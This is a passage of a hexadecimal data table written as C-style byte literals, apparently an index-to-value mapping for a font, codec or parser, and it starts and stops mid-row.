0x03, 0x5B, 0x1d, 0x03,\r\n0x00, 0x03, 0x5C, 0x1e, 0x03,\r\n0x00, 0x03, 0x5D, 0x1f, 0x03,\r\n0x00, 0x03, 0x5E, 0x20, 0x03,\r\n0x00, 0x03, 0x5F, 0x21, 0x03,\r\n0x00, 0x03, 0x60, 0x22, 0x03,\r\n0x00, 0x03, 0x61, 0x23, 0x03,\r\n0x00, 0x03, 0x62, 0x24, 0x03,\r\n0x00, 0x03, 0x63, 0x25, 0x03,\r\n0x00, 0x03, 0x64, 0x26, 0x03,\r\n0x00, 0x03, 0x65, 0x27, 0x03,\r\n0x00, 0x03, 0x66, 0x28, 0x03,\r\n0x00, 0x03, 0x67, 0x29, 0x03,\r\n0x00, 0x03, 0x68, 0x2a, 0x03,\r\n0x00, 0x03, 0x69, 0x2b, 0x03,\r\n0x00, 0x03, 0x6A, 0x2c, 0x03,\r\n0x00, 0x03, 0x6B, 0x05, 0x00,\r\n0x00, 0x03, 0x6C, 0x05, 0x00,\r\n0x00, 0x03, 0x6D, 0x2d, 0x03,\r\n0x00, 0x03, 0x6E, 0x2e, 0x03,\r\n0x00, 0x03, 0x6F, 0x2f, 0x03,\r\n0x00, 0x03, 0x70, 0x30, 0x03,\r\n0x00, 0x03, 0x71, 0x31, 0x03,\r\n0x00, 0x03, 0x72, 0x32, 0x03,\r\n0x00, 0x03, 0x73, 0x33, 0x03,\r\n0x00, 0x03, 0x74, 0x34, 0x03,\r\n0x00, 0x03, 0x75, 0x35, 0x03,\r\n0x00, 0x03, 0x76, 0x36, 0x03,\r\n0x00, 0x03, 0x77, 0x37, 0x03,\r\n0x00, 0x03, 0x78, 0x38, 0x03,\r\n0x00, 0x03, 0x79, 0x39, 0x03,\r\n0x00, 0x03, 0x7A, 0x3a, 0x03,\r\n0x00, 0x03, 0x7B, 0x3b, 0x03,\r\n0x00, 0x03, 0x7C, 0x3c, 0x03,\r\n0x00, 0x03, 0x7D, 0x3d, 0x03,\r\n0x00, 0x03, 0x7E, 0x3e, 0x03,\r\n0x00, 0x03, 0x7F, 0x3f, 0x03,\r\n0x00, 0x03, 0x80, 0x40, 0x03,\r\n0x00, 0x03, 0x81, 0x41, 0x03,\r\n0x00, 0x03, 0x82, 0x42, 0x03,\r\n0x00, 0x03, 0x83, 0x43, 0x03,\r\n0x00, 0x03, 0x84, 0x44, 0x03,\r\n0x00, 0x03, 0x85, 0x45, 0x03,\r\n0x00, 0x03, 0x86, 0x46, 0x03,\r\n0x00, 0x03, 0x87, 0x47, 0x03,\r\n0x00, 0x03, 0x88, 0x48, 0x03,\r\n0x00, 0x03, 0x89, 0x49, 0x03,\r\n0x00, 0x03, 0x8A, 0x4a, 0x03,\r\n0x00, 0x03, 0x8B, 0x4b, 0x03,\r\n0x00, 0x03, 0x8C, 0x4c, 0x03,\r\n0x00, 0x03, 0x8D, 0x4d, 0x03,\r\n0x00, 0x03, 0x8E, 0x4e, 0x03,\r\n0x00, 0x03, 0x8F, 0x4f, 0x03,\r\n0x00, 0x03, 0x90, 0x44, 0x01,\r\n0x00, 0x03, 0x91, 0xf7, 0x01,\r\n0x00, 0x03, 0x92, 0x50, 0x03,\r\n0x00, 0x03, 0x93, 0x51, 0x03,\r\n0x00, 0x03, 0x94, 0x52, 0x03,\r\n0x00, 0x03, 0x95, 0x53, 0x03,\r\n0x00, 0x03, 0x96, 0x54, 0x03,\r\n0x00, 0x03, 0x97, 0x55, 0x03,\r\n0x00, 0x03, 0x98, 0x56, 0x03,\r\n0x00, 0x03, 0x99, 0x57, 0x03,\r\n0x00, 0x03, 0x9A, 0x58, 0x03,\r\n0x00, 0x03, 0x9B, 0x59, 0x03,\r\n0x00, 0x03, 0x9C, 0x5a, 0x03,\r\n0x00, 0x03, 0x9D, 0x5b, 0x03,\r\n0x00, 0x03, 0x9E, 0x5c, 0x03,\r\n0x00, 0x03, 0x9F, 0x05, 0x00,\r\n0x00, 0x03, 0xA0, 0x05, 0x00,\r\n0x00, 0x03, 0xA1, 0x5d, 0x03,\r\n0x00, 0x03, 0xA2, 0x5e, 0x03,\r\n0x00, 0x03, 0xA3, 0x5f, 0x03,\r\n0x00, 0x03, 0xA4, 0x60, 0x03,\r\n0x00, 0x03, 0xA5, 0x61, 0x03,\r\n0x00, 0x03, 0xA6, 0x62, 0x03,\r\n0x00, 0x03, 0xA7, 0x63, 0x03,\r\n0x00, 0x03, 0xA8, 0x64, 0x03,\r\n0x00, 0x03, 0xA9, 0x65, 0x03,\r\n0x00, 0x03, 0xAA, 0x66, 0x03,\r\n0x00, 0x03, 0xAB, 0x67, 0x03,\r\n0x00, 0x03, 0xAC, 0x68, 0x03,\r\n0x00, 0x03, 0xAD, 0x69, 0x03,\r\n0x00, 0x03, 0xAE, 0x6a, 0x03,\r\n0x00, 0x03, 0xAF, 0x6b, 0x03,\r\n0x00, 0x03, 0xB0, 0x6c, 0x03,\r\n0x00, 0x03, 0xB1, 0x6d, 0x03,\r\n0x00, 0x03, 0xB2, 0x6e, 0x03,\r\n0x00, 0x03, 0xB3, 0x6f, 0x03,\r\n0x00, 0x03, 0xB4, 0x70, 0x03,\r\n0x00, 0x03, 0xB5, 0x71, 0x03,\r\n0x00, 0x03, 0xB6, 0x72, 0x03,\r\n0x00, 0x03, 0xB7, 0x73, 0x03,\r\n0x00, 0x03, 0xB8, 0x74, 0x03,\r\n0x00, 0x03, 0xB9, 0x75, 0x03,\r\n0x00, 0x03, 0xBA, 0x10, 0x00,\r\n0x00, 0x03, 0xBB, 0x76, 0x03,\r\n0x00, 0x03, 0xBC, 0x77, 0x03,\r\n0x00, 0x03, 0xBD, 0x78, 0x03,\r\n0x00, 0x03, 0xBE, 0x79, 0x03,\r\n0x00, 0x03, 0xBF, 0x7a, 0x03,\r\n0x00, 0x03, 0xC0, 0x7b, 0x03,\r\n0x00, 0x03, 0xC1, 0x7c, 0x03,\r\n0x00, 0x03, 0xC2, 0x7d, 0x03,\r\n0x00, 0x03, 0xC3, 0x7e, 0x03,\r\n0x00, 0x03, 0xC4, 0x7f, 0x03,\r\n0x00, 0x03, 0xC5, 0x80, 0x03,\r\n0x00, 0x03, 0xC6, 0x81, 0x03,\r\n0x00, 0x03, 0xC7, 0x82, 0x03,\r\n0x00, 0x03, 0xC8, 0x83, 0x03,\r\n0x00, 0x03, 0xC9, 0x84, 0x03,\r\n0x00, 0x03, 0xCA, 0x85, 0x03,\r\n0x00, 0x03, 0xCB, 0x86, 0x03,\r\n0x00, 0x03, 0xCC, 0x87, 0x03,\r\n0x00, 0x03, 0xCD, 0x88, 0x03,\r\n0x00, 0x03, 0xCE, 0x89, 0x03,\r\n0x00, 0x03, 0xCF, 0x8a, 0x03,\r\n0x00, 0x03, 0xD0, 0x8b, 0x03,\r\n0x00, 0x03, 0xD1, 0x8c, 0x03,\r\n0x00, 0x03, 0xD2, 0x8d, 0x03,\r\n0x00, 0x03, 0xD3, 0x8e, 0x03,\r\n0x00, 0x03, 0xD4, 0x8f, 0x03,\r\n0x00, 0x03, 0xD5, 0xf7, 0x01,\r\n0x00, 0x03, 0xD6, 0x90, 0x03,\r\n0x00, 0x03, 0xD7, 0x91, 0x03,\r\n0x00, 0x03, 0xD8, 0x92, 0x03,\r\n0x00, 0x03, 0xD9, 0x93, 0x03,\r\n0x00, 0x03, 0xDA, 0x94, 0x03,\r\n0x00, 0x03, 0xDB, 0x95, 0x03,\r\n0x00, 0x03, 0xDC, 0x96, 0x03,\r\n0x00, 0x03, 0xDD, 0x97, 0x03,\r\n0x00, 0x03, 0xDE, 0x98, 0x03,\r\n0x00, 0x03, 0xDF, 0x99, 0x03,\r\n0x00, 0x03, 0xE0, 0xb9, 0x00,\r\n0x00, 0x03, 0xE1, 0x9a, 0x03,\r\n0x00, 0x03, 0xE2, 0x9b, 0x03,\r\n0x00, 0x03, 0xE3, 0x05, 0x00,\r\n0x00, 0x03, 0xE4, 0x05, 0x00,\r\n0x00, 0x03, 0xE5, 0x9c, 0x03,\r\n0x00, 0x03, 0xE6, 0x9d, 0x03,\r\n0x00, 0x03, 0xE7, 0x9e, 0x03,\r\n0x00, 0x03, 0xE8, 0x9f, 0x03,\r\n0x00, 0x03, 0xE9, 0xa0, 0x03,\r\n0x00, 0x03, 0xEA, 0xa1, 0x03,\r\n0x00, 0x03, 0xEB, 0xa2, 0x03,\r\n0x00, 0x03, 0xEC, 0xa3, 0x03,\r\n0x00, 0x03, 0xED, 0xa4, 0x03,\r\n0x00, 0x03, 0xEE, 0xa5, 0x03,\r\n0x00, 0x03, 0xEF, 0xa6, 0x03,\r\n0x00, 0x03, 0xF0, 0xa7, 0x03,\r\n0x00, 0x03, 0xF1, 0xa8, 0x03,\r\n0x00, 0x03, 0xF2, 0xa9, 0x03,\r\n0x00, 0x03, 0xF3, 0xaa, 0x03,\r\n0x00, 0x03, 0xF4, 0xab, 0x03,\r\n0x00, 0x03, 0xF5, 0xac, 0x03,\r\n0x00, 0x03, 0xF6, 0xad, 0x03,\r\n0x00, 0x03, 0xF7, 0xae, 0x03,\r\n0x00, 0x03, 0xF8, 0xaf, 0x03,\r\n0x00, 0x03, 0xF9, 0xb0, 0x03,\r\n0x00, 0x03, 0xFA, 0xb1, 0x03,\r\n0x00, 0x03, 0xFB, 0xb2, 0x03,\r\n0x00, 0x03, 0xFC, 0xb3, 0x03,\r\n0x00, 0x03, 0xFD, 0x05, 0x00,\r\n0x00, 0x03, 0xFE, 0x05, 0x00,\r\n0x00, 0x03, 0xFF, 0xb4, 0x03,\r\n0x00, 0x04, 0x00, 0xb5, 0x03,\r\n0x00, 0x04, 0x01, 0xb6, 0x03,\r\n0x00, 0x04, 0x02, 0xb7, 0x03,\r\n0x00, 0x04, 0x03, 0xb8, 0x03,\r\n0x00, 0x04, 0x04, 0xb9, 0x03,\r\n0x00, 0x04, 0x05, 0xba, 0x03,\r\n0x00, 0x04, 0x06, 0xbb, 0x03,\r\n0x00, 0x04, 0x07, 0xbc, 0x03,\r\n0x00, 0x04, 0x08, 0xbd, 0x03,\r\n0x00, 0x04, 0x09, 0xbe, 0x03,\r\n0x00, 0x04, 0x0A, 0xbf, 0x03,\r\n0x00, 0x04, 0x0B, 0xc0, 0x03,\r\n0x00, 0x04, 0x0C, 0xc1, 0x03,\r\n0x00, 0x04, 0x0D, 0xc2, 0x03,\r\n0x00, 0x04, 0x0E, 0xc3, 0x03,\r\n0x00, 0x04, 0x0F, 0xc4, 0x03,\r\n0x00, 0x04, 0x10, 0xc5, 0x03,\r\n0x00, 0x04, 0x11, 0xc6, 0x03,\r\n0x00, 0x04, 0x12, 0xc7, 0x03,\r\n0x00, 0x04, 0x13, 0xc8, 0x03,\r\n0x00, 0x04, 0x14, 0xc9, 0x03,\r\n0x00, 0x04, 0x15, 0xca, 0x03,\r\n0x00, 0x04, 0x16, 0xcb, 0x03,\r\n0x00, 0x04, 0x17, 0xcc, 0x03,\r\n0x00, 0x04, 0x18, 0xbc, 0x01,\r\n0x00, 0x04, 0x19, 0xcd, 0x03,\r\n0x00, 0x04, 0x1A, 0xce, 0x03,\r\n0x00, 0x04, 0x1B, 0xcf, 0x03,\r\n0x00, 0x04, 0x1C, 0xd0, 0x03,\r\n0x00, 0x04, 0x1D, 0xd1, 0x03,\r\n0x00, 0x04, 0x1E, 0xd2, 0x03,\r\n0x00, 0x04, 0x1F, 0xd3, 0x03,\r\n0x00, 0x04, 0x20, 0xd4, 0x03,\r\n0x00, 0x04, 0x21, 0xd5, 0x03,\r\n0x00, 0x04, 0x22, 0xd6, 0x03,\r\n0x00, 0x04, 0x23, 0x82, 0x02,\r\n0x00, 0x04, 0x24, 0xd7, 0x03,\r\n0x00, 0x04, 0x25, 0xd8, 0x03,\r\n0x00, 0x04, 0x26, 0xd9, 0x03,\r\n0x00, 0x04, 0x27, 0x05, 0x00,\r\n0x00, 0x04, 0x28, 0x05, 0x00,\r\n0x00, 0x04, 0x29, 0xda, 0x03,\r\n0x00, 0x04, 0x2A, 0x61, 0x01,\r\n0x00, 0x04, 0x2B, 0xdb, 0x03,\r\n0x00, 0x04, 0x2C, 0xdc, 0x03,\r\n0x00, 0x04, 0x2D, 0xdd, 0x03,\r\n0x00, 0x04, 0x2E, 0xde, 0x03,\r\n0x00, 0x04, 0x2F, 0xdf, 0x03,\r\n0x00, 0x04, 0x30, 0xe0, 0x03,\r\n0x00, 0x04, 0x31, 0xe1, 0x03,\r\n0x00, 0x04, 0x32, 0xe2, 0x03,\r\n0x00, 0x04, 0x33, 0xe3, 0x03,\r\n0x00, 0x04, 0x34, 0xe4, 0x03,\r\n0x00, 0x04, 0x35, 0xe5, 0x03,\r\n0x00, 0x04, 0x36, 0xe6, 0x03,\r\n0x00, 0x04, 0x37, 0xe7, 0x03,\r\n0x00, 0x04, 0x38, 0x69, 0x01,\r\n0x00, 0x04, 0x39, 0xe8, 0x03,\r\n0x00, 0x04, 0x3A, 0xe9, 0x03,\r\n0x00, 0x04, 0x3B, 0xea, 0x03,\r\n0x00, 0x04, 0x3C, 0xeb, 0x03,\r\n0x00, 0x04, 0x3D, 0xec, 0x03,\r\n0x00, 0x04, 0x3E, 0xed, 0x03,\r\n0x00, 0x04, 0x3F, 0xee, 0x03,\r\n0x00, 0x04, 0x40, 0xef, 0x03,\r\n0x00, 0x04, 0x41, 0xf0, 0x03,\r\n0x00, 0x04, 0x42, 0xf1, 0x03,\r\n0x00, 0x04, 0x43, 0xf2, 0x03,\r\n0x00, 0x04, 0x44, 0xf3, 0x03,\r\n0x00, 0x04, 0x45, 0xf4, 0x03,\r\n0x00, 0x04, 0x46, 0xf5, 0x03,\r\n0x00, 0x04, 0x47, 0xf6, 0x03,\r\n0x00, 0x04, 0x48, 0xf7, 0x03,\r\n0x00, 0x04, 0x49, 0xf8, 0x03,\r\n0x00, 0x04, 0x4A, 0xf9, 0x03,\r\n0x00, 0x04, 0x4B, 0xfa, 0x03,\r\n0x00, 0x04, 0x4C, 0xfb, 0x03,\r\n0x00, 0x04, 0x4D, 0x05, 0x00,\r\n0x00, 0x04, 0x4E, 0x05, 0x00,\r\n0x00, 0x04, 0x4F, 0xfc, 0x03,\r\n0x00, 0x04, 0x50, 0xfd, 0x03,\r\n0x00, 0x04, 0x51, 0xfe, 0x03,\r\n0x00, 0x04, 0x52, 0xff, 0x03,\r\n0x00, 0x04, 0x53, 0x00, 0x04,\r\n0x00, 0x04, 0x54, 0x01, 0x04,\r\n0x00, 0x04, 0x55, 0x02, 0x04,\r\n0x00, 0x04, 0x56, 0x03, 0x04,\r\n0x00, 0x04, 0x57, 0x0a, 0x01,\r\n0x00, 0x04, 0x58, 0x04, 0x04,\r\n0x00, 0x04, 0x59, 0x05, 0x04,\r\n0x00, 0x04, 0x5A, 0x06, 0x04,\r\n0x00, 0x04, 0x5B, 0x07, 0x04,\r\n0x00, 0x04, 0x5C, 0x08, 0x04,\r\n0x00, 0x04, 0x5D, 0x09, 0x04,\r\n0x00, 0x04, 0x5E, 0x0a, 0x04,\r\n0x00, 0x04, 0x5F, 0x0b, 0x04,\r\n0x00, 0x04, 0x60, 0x0c, 0x04,\r\n0x00, 0x04, 0x61, 0x0d, 0x04,\r\n0x00, 0x04, 0x62, 0x0e, 0x04,\r\n0x00, 0x04, 0x63, 0x1d, 0x01,\r\n0x00, 0x04, 0x64, 0x0f, 0x04,\r\n0x00, 0x04, 0x65, 0x10, 0x04,\r\n0x00, 0x04, 0x66, 0x11, 0x04,\r\n0x00, 0x04, 0x67, 0x12, 0x04,\r\n0x00, 0x04, 0x68, 0x13, 0x04,\r\n0x00, 0x04, 0x69, 0x14, 0x04,\r\n0x00, 0x04, 0x6A, 0x15, 0x04,\r\n0x00, 0x04, 0x6B, 0x16, 0x04,\r\n0x00, 0x04, 0x6C, 0x17, 0x04,\r\n0x00, 0x04, 0x6D, 0x05, 0x00,\r\n0x00, 0x04, 0x6E, 0x05, 0x00,\r\n0x00, 0x04, 0x6F, 0x18, 0x04,\r\n0x00, 0x04, 0x70, 0x19, 0x04,\r\n0x00, 0x04, 0x71, 0x1a, 0x04,\r\n0x00, 0x04, 0x72, 0x1b, 0x04,\r\n0x00, 0x04, 0x73, 0x1c, 0x04,\r\n0x00, 0x04, 0x74, 0x1d, 0x04,\r\n0x00, 0x04, 0x75, 0x1e, 0x04,\r\n0x00, 0x04, 0x76, 0x1e, 0x04,\r\n0x00, 0x04, 0x77, 0x1f, 0x04,\r\n0x00, 0x04, 0x78, 0x20, 0x04,\r\n0x00, 0x04, 0x79, 0x21, 0x04,\r\n0x00, 0x04, 0x7A, 0x22, 0x04,\r\n0x00, 0x04, 0x7B, 0x23, 0x04,\r\n0x00, 0x04, 0x7C, 0x24, 0x04,\r\n0x00, 0x04, 0x7D, 0x25, 0x04,\r\n0x00, 0x04, 0x7E, 0x26, 0x04,\r\n0x00, 0x04, 0x7F, 0x27, 0x04,\r\n0x00, 0x04, 0x80, 0x80, 0x00,\r\n0x00, 0x04, 0x81, 0x28, 0x04,\r\n0x00, 0x04, 0x82, 0x29, 0x04,\r\n0x00, 0x04, 0x83, 0x2a, 0x04,\r\n0x00, 0x04, 0x84, 0x2b, 0x04,\r\n0x00, 0x04, 0x85, 0x2c, 0x04,\r\n0x00, 0x04, 0x86, 0x2d, 0x04,\r\n0x00, 0x04, 0x87, 0x2e, 0x04,\r\n0x00, 0x04, 0x88, 0x2f, 0x04,\r\n0x00, 0x04, 0x89, 0x30, 0x04,\r\n0x00, 0x04, 0x8A, 0x31, 0x04,\r\n0x00, 0x04, 0x8B, 0x32, 0x04,\r\n0x00, 0x04, 0x8C, 0x33, 0x04,\r\n0x00, 0x04, 0x8D, 0x34, 0x04,\r\n0x00, 0x04, 0x8E, 0x35, 0x04,\r\n0x00, 0x04, 0x8F, 0x36, 0x04,\r\n0x00, 0x04, 0x90, 0x37, 0x04,\r\n0x00, 0x04, 0x91, 0x38, 0x04,\r\n0x00, 0x04, 0x92, 0x39, 0x04,\r\n0x00, 0x04, 0x93, 0x3a, 0x04,\r\n0x00, 0x04, 0x94, 0x3b, 0x04,\r\n0x00, 0x04, 0x95, 0x3c, 0x04,\r\n0x00, 0x04, 0x96, 0x1c, 0x01,\r\n0x00, 0x04, 0x97, 0x3d, 0x04,\r\n0x00, 0x04, 0x98, 0x3e, 0x04,\r\n0x00, 0x04, 0x99, 0x3f, 0x04,\r\n0x00, 0x04, 0x9A, 0x05, 0x00,\r\n0x00, 0x04, 0x9B, 0x05, 0x00,\r\n0x00, 0x04, 0x9C, 0x40, 0x04,\r\n0x00, 0x04, 0x9D, 0x41, 0x04,\r\n0x00, 0x04, 0x9E, 0x42, 0x04,\r\n0x00, 0x04, 0x9F, 0x43, 0x04,\r\n0x00, 0x04, 0xA0, 0x44, 0x04,\r\n0x00, 0x04, 0xA1, 0x45, 0x04,\r\n0x00, 0x04, 0xA2, 0x46, 0x04,\r\n0x00, 0x04, 0xA3, 0x47, 0x04,\r\n0x00, 0x04, 0xA4, 0x48, 0x04,\r\n0x00, 0x04, 0xA5, 0x49, 0x04,\r\n0x00, 0x04, 0xA6, 0x4a, 0x04,\r\n0x00, 0x04, 0xA7, 0x4b, 0x04,\r\n0x00, 0x04, 0xA8, 0x4c, 0x04,\r\n0x00, 0x04, 0xA9, 0x4d, 0x04,\r\n0x00, 0x04, 0xAA, 0x4e, 0x04,\r\n0x00, 0x04, 0xAB, 0x4f, 0x04,\r\n0x00, 0x04, 0xAC, 0x50, 0x04,\r\n0x00, 0x04, 0xAD, 0x51, 0x04,\r\n0x00, 0x04, 0xAE, 0x52, 0x04,\r\n0x00, 0x04, 0xAF, 0x53, 0x04,\r\n0x00, 0x04, 0xB0, 0x54, 0x04,\r\n0x00, 0x04, 0xB1, 0x55, 0x04,\r\n0x00, 0x04, 0xB2, 0x56, 0x04,\r\n0x00, 0x04, 0xB3, 0x57, 0x04,\r\n0x00, 0x04, 0xB4, 0x58, 0x04,\r\n0x00, 0x04, 0xB5, 0x59, 0x04,\r\n0x00, 0x04, 0xB6, 0x5a, 0x04,\r\n0x00, 0x04, 0xB7, 0x5b, 0x04,\r\n0x00, 0x04, 0xB8, 0x5c, 0x04,\r\n0x00, 0x04, 0xB9, 0x5d, 0x04,\r\n0x00, 0x04, 0xBA, 0x5e, 0x04,\r\n0x00, 0x04, 0xBB, 0x5f, 0x04,\r\n0x00, 0x04, 0xBC, 0x60, 0x04,\r\n0x00, 0x04, 0xBD, 0xb9, 0x00,\r\n0x00, 0x04, 0xBE, 0x61, 0x04,\r\n0x00, 0x04, 0xBF, 0x62, 0x04,\r\n0x00, 0x04, 0xC0, 0x05, 0x00,\r\n0x00, 0x04, 0xC1, 0x05, 0x00,\r\n0x00, 0x04, 0xC2, 0x63, 0x04,\r\n0x00, 0x04, 0xC3, 0x64, 0x04,\r\n0x00, 0x04, 0xC4, 0x65, 0x04,\r\n0x00, 0x04, 0xC5, 0x66, 0x04,\r\n0x00, 0x04, 0xC6, 0x67, 0x04,\r\n0x00, 0x04, 0xC7, 0x68, 0x04,\r\n0x00, 0x04, 0xC8, 0x69, 0x04,\r\n0x00, 0x04, 0xC9, 0x6a, 0x04,\r\n0x00, 0x04, 0xCA, 0x6b, 0x04,\r\n0x00, 0x04, 0xCB, 0x6c, 0x04,\r\n0x00, 0x04, 0xCC, 0x6d, 0x04,\r\n0x00, 0x04, 0xCD, 0x6e, 0x04,\r\n0x00, 0x04, 0xCE, 0x6f, 0x04,\r\n0x00, 0x04, 0xCF, 0x70, 0x04,\r\n0x00, 0x04, 0xD0, 0x71, 0x04,\r\n0x00, 0x04, 0xD1, 0x72, 0x04,\r\n0x00, 0x04, 0xD2, 0x73, 0x04,\r\n0x00, 0x04, 0xD3, 0x74, 0x04,\r\n0x00, 0x04, 0xD4, 0x75, 0x04,\r\n0x00, 0x04, 0xD5, 0x76, 0x04,\r\n0x00, 0x04, 0xD6, 0x77, 0x04,\r\n0x00, 0x04, 0xD7, 0x78, 0x04,\r\n0x00, 0x04, 0xD8, 0x79, 0x04,\r\n0x00, 0x04, 0xD9, 0x7a, 0x04,\r\n0x00, 0x04, 0xDA, 0x7b, 0x04,\r\n0x00, 0x04, 0xDB, 0x7c, 0x04,\r\n0x00, 0x04, 0xDC, 0x69, 0x01,\r\n0x00, 0x04, 0xDD, 0x05, 0x00,\r\n0x00, 0x04, 0xDE, 0x05, 0x00,\r\n0x00, 0x04, 0xDF, 0x7d, 0x04,\r\n0x00, 0x04, 0xE0, 0x7e, 0x04,\r\n0x00, 0x04, 0xE1, 0x7f, 0x04,\r\n0x00, 0x04, 0xE2, 0x80, 0x04,\r\n0x00, 0x04, 0xE3, 0xda, 0x00,\r\n0x00, 0x04, 0xE4, 0x81, 0x04,\r\n0x00, 0x04, 0xE5, 0x82, 0x04,\r\n0x00, 0x04, 0xE6, 0x83, 0x04,\r\n0x00, 0x04, 0xE7, 0x84, 0x04,\r\n0x00, 0x04, 0xE8, 0x85, 0x04,\r\n0x00, 0x04, 0xE9, 0x86, 0x04,\r\n0x00, 0x04, 0xEA, 0xc9, 0x01,\r\n0x00, 0x04, 0xEB, 0x87, 0x04,\r\n0x00, 0x04, 0xEC, 0x88, 0x04,\r\n0x00, 0x04, 0xED, 0x89, 0x04,\r\n0x00, 0x04, 0xEE, 0x8a, 0x04,\r\n0x00, 0x04, 0xEF, 0x8b, 0x04,\r\n0x00, 0x04, 0xF0, 0xdf, 0x03,\r\n0x00, 0x04, 0xF1, 0x8c, 0x04,\r\n0x00, 0x04, 0xF2, 0x8d, 0x04,\r\n0x00, 0x04, 0xF3, 0x8e, 0x04,\r\n0x00, 0x04, 0xF4, 0x8f, 0x04,\r\n0x00, 0x04, 0xF5, 0x90, 0x04,\r\n0x00, 0x04, 0xF6, 0x91, 0x04,\r\n0x00, 0x04, 0xF7, 0x92, 0x04,\r\n0x00, 0x04, 0xF8, 0x93, 0x04,\r\n0x00, 0x04, 0xF9, 0x94, 0x04,\r\n0x00, 0x04, 0xFA, 0x95, 0x04,\r\n0x00, 0x04, 0xFB, 0x96, 0x04,\r\n0x00, 0x04, 0xFC, 0x97, 0x04,\r\n0x00, 0x04, 0xFD, 0x98, 0x04,\r\n0x00, 0x04, 0xFE, 0x99, 0x04,\r\n0x00, 0x04, 0xFF, 0x9a, 0x04,\r\n0x00, 0x05, 0x00, 0x05, 0x00,\r\n0x00, 0x05, 0x01, 0x05, 0x00,\r\n0x00, 0x05, 0x02, 0x9b, 0x04,\r\n0x00, 0x05, 0x03, 0x9c, 0x04,\r\n0x00, 0x05, 0x04, 0x9d, 0x04,\r\n0x00, 0x05, 0x05, 0xd5, 0x00,\r\n0x00, 0x05, 0x06, 0x9e, 0x04,\r\n0x00, 0x05, 0x07, 0x9f, 0x04,\r\n0x00, 0x05, 0x08, 0xa0, 0x04,\r\n0x00, 0x05, 0x09, 0xa1, 0x04,\r\n0x00, 0x05, 0x0A, 0xa2, 0x04,\r\n0x00, 0x05, 0x0B, 0xa3, 0x04,\r\n0x00, 0x05, 0x0C, 0xa4, 0x04,\r\n0x00, 0x05, 0x0D, 0xa5, 0x04,\r\n0x00, 0x05, 0x0E, 0xa6, 0x04,\r\n0x00, 0x05, 0x0F, 0xa7, 0x04,\r\n0x00, 0x05, 0x10, 0x8f, 0x04,\r\n0x00, 0x05, 0x11, 0xa8, 0x04,\r\n0x00, 0x05, 0x12, 0xa9, 0x04,\r\n0x00, 0x05, 0x13, 0xaa, 0x04,\r\n0x00, 0x05, 0x14, 0xab, 0x04,\r\n0x00, 0x05, 0x15, 0xac, 0x04,\r\n0x00, 0x05, 0x16, 0xad, 0x04,\r\n0x00, 0x05, 0x17, 0xae, 0x04,\r\n0x00, 0x05, 0x18, 0xaf, 0x04,\r\n0x00, 0x05, 0x19, 0xb0, 0x04,\r\n0x00, 0x05, 0x1A, 0xc0, 0x03,\r\n0x00, 0x05, 0x1B, 0xb1, 0x04,\r\n0x00, 0x05, 0x1C, 0xb2, 0x04,\r\n0x00, 0x05, 0x1D, 0xb3, 0x04,\r\n0x00, 0x05, 0x1E, 0x80, 0x00,\r\n0x00, 0x05, 0x1F, 0xb4, 0x04,\r\n0x00, 0x05, 0x20, 0xb5, 0x04,\r\n0x00, 0x05, 0x21, 0x34, 0x03,\r\n0x00, 0x05, 0x22, 0xb6, 0x04,\r\n0x00, 0x05, 0x23, 0xb7, 0x04,\r\n0x00, 0x05, 0x24, 0xb8, 0x04,\r\n0x00, 0x05, 0x25, 0xb9, 0x04,\r\n0x00, 0x05, 0x26, 0xba, 0x04,\r\n0x00, 0x05, 0x27, 0xbb, 0x04,\r\n0x00, 0x05, 0x28, 0xbc, 0x04,\r\n0x00, 0x05, 0x29, 0x0e, 0x03,\r\n0x00, 0x05, 0x2A, 0xbd, 0x04,\r\n0x00, 0x05, 0x2B, 0xbe, 0x04,\r\n0x00, 0x05, 0x2C, 0xbf, 0x04,\r\n0x00, 0x05, 0x2D, 0xc0, 0x04,\r\n0x00, 0x05, 0x2E, 0xc1, 0x04,\r\n0x00, 0x05, 0x2F, 0xc2, 0x04,\r\n0x00, 0x05, 0x30, 0xc3, 0x04,\r\n0x00, 0x05, 0x31, 0x05, 0x00,\r\n0x00, 0x05, 0x32, 0x05, 0x00,\r\n0x00, 0x05, 0x33, 0x80, 0x00,\r\n0x00, 0x05, 0x34, 0xc4, 0x04,\r\n0x00, 0x05, 0x35, 0xc5, 0x04,\r\n0x00, 0x05, 0x36, 0xc6, 0x04,\r\n0x00, 0x05, 0x37, 0xc7, 0x04,\r\n0x00, 0x05, 0x38, 0xc8, 0x04,\r\n0x00, 0x05, 0x39, 0xc9, 0x04,\r\n0x00, 0x05, 0x3A, 0xca, 0x04,\r\n0x00, 0x05, 0x3B, 0xcb, 0x04,\r\n0x00, 0x05, 0x3C, 0xcc, 0x04,\r\n0x00, 0x05, 0x3D, 0x0c, 0x02,\r\n0x00, 0x05, 0x3E, 0xcd, 0x04,\r\n0x00, 0x05, 0x3F, 0xce, 0x04,\r\n0x00, 0x05, 0x40, 0xc4, 0x01,\r\n0x00, 0x05, 0x41, 0xf7, 0x01,\r\n0x00, 0x05, 0x42, 0xcf, 0x04,\r\n0x00, 0x05, 0x43, 0xd0, 0x04,\r\n0x00, 0x05, 0x44, 0xd1, 0x04,\r\n0x00, 0x05, 0x45, 0x8e, 0x03,\r\n0x00, 0x05, 0x46, 0xd2, 0x04,\r\n0x00, 0x05, 0x47, 0xd3, 0x04,\r\n0x00, 0x05, 0x48, 0xd4, 0x04,\r\n0x00, 0x05, 0x49, 0xd5, 0x04,\r\n0x00, 0x05, 0x4A, 0xd6, 0x04,\r\n0x00, 0x05, 0x4B, 0xd7, 0x04,\r\n0x00, 0x05, 0x4C, 0xd8, 0x04,\r\n0x00, 0x05, 0x4D, 0xd9, 0x04,\r\n0x00, 0x05, 0x4E, 0xda, 0x04,\r\n0x00, 0x05, 0x4F, 0xdb, 0x04,\r\n0x00, 0x05, 0x50, 0xdc, 0x04,\r\n0x00, 0x05, 0x51, 0xdd, 0x04,\r\n0x00, 0x05, 0x52, 0xde, 0x04,\r\n0x00, 0x05, 0x53, 0xdf, 0x04,\r\n0x00, 0x05, 0x54, 0xe0, 0x04,\r\n0x00, 0x05, 0x55, 0xe1, 0x04,\r\n0x00, 0x05, 0x56, 0xe2, 0x04,\r\n0x00, 0x05, 0x57, 0xe3, 0x04,\r\n0x00, 0x05, 0x58, 0xe4, 0x04,\r\n0x00, 0x05, 0x59, 0xe5, 0x04,\r\n0x00, 0x05, 0x5A, 0xe6, 0x04,\r\n0x00, 0x05, 0x5B, 0xcb, 0x02,\r\n0x00, 0x05, 0x5C, 0xe7, 0x04,\r\n0x00, 0x05, 0x5D, 0xe8, 